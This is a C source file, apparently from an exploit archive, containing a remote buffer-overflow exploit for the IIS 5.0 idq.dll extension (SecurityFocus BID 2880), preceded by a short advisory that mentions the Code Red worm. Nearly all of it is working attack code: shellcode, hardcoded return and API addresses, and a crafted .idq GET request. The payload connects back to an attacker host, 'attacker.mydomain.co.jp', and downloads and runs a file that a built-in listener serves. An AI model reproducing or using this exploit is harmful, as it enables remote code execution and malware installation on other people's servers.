/*
source: https://www.securityfocus.com/bid/2880/info
Windows Index Server ships with Windows NT 4.0 Option Pack; Windows Indexing Service ships with Windows 2000. An unchecked buffer resides in the 'idq.dll' ISAPI extension associated with each service. A maliciously crafted request could allow arbitrary code to run on the host in the Local System context.
Note that Index Server and Indexing Service do not need to be running for an attacker to exploit this issue. Since 'idq.dll' is installed by default when IIS is installed, IIS would need to be the only service running.
Note also that this vulnerability is currently being exploited by the 'Code Red' worm. In addition, all products that run affected versions of IIS are also vulnerable.
*/
/*
IIS5.0 .idq overrun remote exploit
Programmed by hsj : 01.06.21
code flow:
overrun -> jmp or call ebx -> jmp 8 ->
check shellcode addr and jump to there ->
shellcode -> make back channel -> download & exec code
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>
#define RET 0x77e516de /* jmp or call ebx */
#define GMHANDLEA 0x77e56c42 /* Address of GetModuleHandleA */
#define GPADDRESS 0x77e59ac1 /* Address of GetProcAddress */
#define GMHANDLEA_OFFSET 24
#define GPADDRESS_OFFSET 61
#define OFFSET 234 /* exception handler offset */
#define NOP 0x41
#define MASKING 1
#if MASKING
#define PORTMASK 0x4141
#define ADDRMASK 0x41414141
#define PORTMASK_OFFSET 128
#define ADDRMASK_OFFSET 133
#endif
#define PORT 80
#define ADDR "attacker.mydomain.co.jp"
#define PORT_OFFSET 115
#define ADDR_OFFSET 120
unsigned char shellcode[]=
"\x5B\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x33\xC9\x41\x41\x33\xC0"
"\x51\x53\x83\xC3\x06\x88\x03\xB8\xDD\xCC\xBB\xAA\xFF\xD0\x59\x50"
"\x43\xE2\xEB\x33\xED\x8B\xF3\x5F\x33\xC0\x80\x3B\x2E\x75\x1E\x88"
"\x03\x83\xFD\x04\x75\x04\x8B\x7C\x24\x10\x56\x57\xB8\xDD\xCC\xBB"
"\xAA\xFF\xD0\x50\x8D\x73\x01\x45\x83\xFD\x08\x74\x03\x43\xEB\xD8"
"\x8D\x74\x24\x20\x33\xC0\x50\x40\x50\x40\x50\x8B\x46\xFC\xFF\xD0"
"\x8B\xF8\x33\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66"
"\xC7\x46\x02\xBB\xAA\xC7\x46\x04\x44\x33\x22\x11"
#if MASKING
"\x66\x81\x76\x02\x41\x41\x81\x76\x04\x41\x41\x41\x41"
#endif
"\x8B\x46\xF8\xFF\xD0\x33\xC0"
"\xC7\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07"
"\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\x8B\x46\xEC\xFF\xD0"
"\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57\x8B"
"\x46\xF4\xFF\xD0\x85\xC0\x7E\x0E\x50\x8D\x4E\x08\x51\x53\x8B\x46"
"\xE8\xFF\xD0\x90\xEB\xDC\x53\x8B\x46\xE4\xFF\xD0\x57\x8B\x46\xF0"
"\xFF\xD0\x33\xC0\x50\x56\x56\x8B\x46\xE0\xFF\xD0\x33\xC0\xFF\xD0";
unsigned char storage[]=
"\xEB\x02"
"\xEB\x4E"
"\xE8\xF9\xFF\xFF\xFF"
"msvcrt.ws2_32.socket.connect.recv.closesocket."
"_open._write._close._execl.";
unsigned char forwardjump[]=
"%u08eb";
unsigned char jump_to_shell[]=
"%uC033%uB866%u031F%u0340%u8BD8%u8B03"
"%u6840%uDB33%u30B3%uC303%uE0FF";
unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;
if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
int make_connection(char *address,int port)
{
struct sockaddr_in server,target;
int s,i,bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
memset((char *)&server,0,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = 0;
target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(address);
if(target.sin_addr.s_addr==0)
{
close(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctl(s,FIONBIO,&bf);
tv.tv_sec = 10;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
close(s);
return -3;
}
if(i==0)
{
close(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
close(s);
errno = bf;
return -5;
}
ioctl(s,FIONBIO,&bf);
return s;
}
int get_connection(int port)
{
struct sockaddr_in local,remote;
int lsock,csock,len,reuse_addr;
lsock = socket(AF_INET,SOCK_STREAM,0);
if(lsock<0)
{
perror("socket");
exit(1);
}
reuse_addr = 1;
if(setsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char *)&reuse_addr,sizeof(reus
e_addr))<0)
{
perror("setsockopt");
close(lsock);
exit(1);
}
memset((char *)&local,0,sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(port);
local.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0)
{
perror("bind");
close(lsock);
exit(1);
}
if(listen(lsock,1)<0)
{
perror("listen");
close(lsock);
exit(1);
}
retry:
len = sizeof(remote);
csock = accept(lsock,(struct sockaddr *)&remote,&len);
if(csock<0)
{
if(errno!=EINTR)
{
perror("accept");
close(lsock);
exit(1);
}
else
goto retry;
}
close(lsock);
return csock;
}
int main(int argc,char *argv[])
{
int i,j,s,pid;
unsigned int cb;
unsigned short port;
char *p,buf[512],buf2[512],buf3[2048];
FILE *fp;
if(argc!=3)
{
printf("usage: $ %s ip file\n",argv[0]);
return -1;
}
if((fp=fopen(argv[2],"rb"))==0)
return -2;
if(!(cb=resolve(ADDR)))
return -3;
if((pid=fork())<0)
return -4;
if(pid)
{
fclose(fp);
s = make_connection(argv[1],80);
if(s<0)
{
printf("connect error:[%d].\n",s);
kill(pid,SIGTERM);
return -5;
}
j = strlen(shellcode);
*(unsigned int *)&shellcode[GMHANDLEA_OFFSET] = GMHANDLEA;
*(unsigned int *)&shellcode[GPADDRESS_OFFSET] = GPADDRESS;
port = htons(PORT);
#if MASKING
port ^= PORTMASK;
cb ^= ADDRMASK;
*(unsigned short *)&shellcode[PORTMASK_OFFSET] = PORTMASK;
*(unsigned int *)&shellcode[ADDRMASK_OFFSET] = ADDRMASK;
#endif
*(unsigned short *)&shellcode[PORT_OFFSET] = port;
*(unsigned int *)&shellcode[ADDR_OFFSET] = cb;
for(i=0;i<strlen(shellcode);i++)
{
if((shellcode[i]==0x0a)||
(shellcode[i]==0x0d)||
(shellcode[i]==0x3a))
break;
}
if(i!=j)
{
printf("bad portno or ip address...\n");
close(s);
kill(pid,SIGTERM);
return -6;
}
memset(buf,1,sizeof(buf));
p = &buf[OFFSET-2];
sprintf(p,"%s",forwardjump);
p += strlen(forwardjump);
*p++ = 1;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>0)&0xffff);
p += 4;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>16)&0xffff);
p += 4;
*p++ = 1;
sprintf(p,"%s",jump_to_shell);
memset(buf2,NOP,sizeof(buf2));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-strlen(storage)-1],storage,
strlen(storage));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-1],shellcode,strlen(shellco
de));
buf2[sizeof(buf2)-1] = 0;
sprintf(buf3,"GET /a.idq?%s=a HTTP/1.0\r\nShell: %s\r\n\r\n",buf,buf2);
write(s,buf3,strlen(buf3));
printf("---");
for(i=0;i<strlen(buf3);i++)
{
if((i%16)==0)
printf("\n");
printf("%02X ",buf3[i]&0xff);
}
printf("\n---\n");
wait(0);
sleep(1);
shutdown(s,2);
close(s);
printf("Done.\n");
}
else
{
s = get_connection(PORT);
j = 0;
while((i=fread(buf,1,sizeof(buf),fp)))
{
write(s,buf,i);
j += i;
printf(".");
fflush(stdout);
}
fclose(fp);
printf("\n%d bytes send...\n",j);
shutdown(s,2);
close(s);
}
return 0;
}
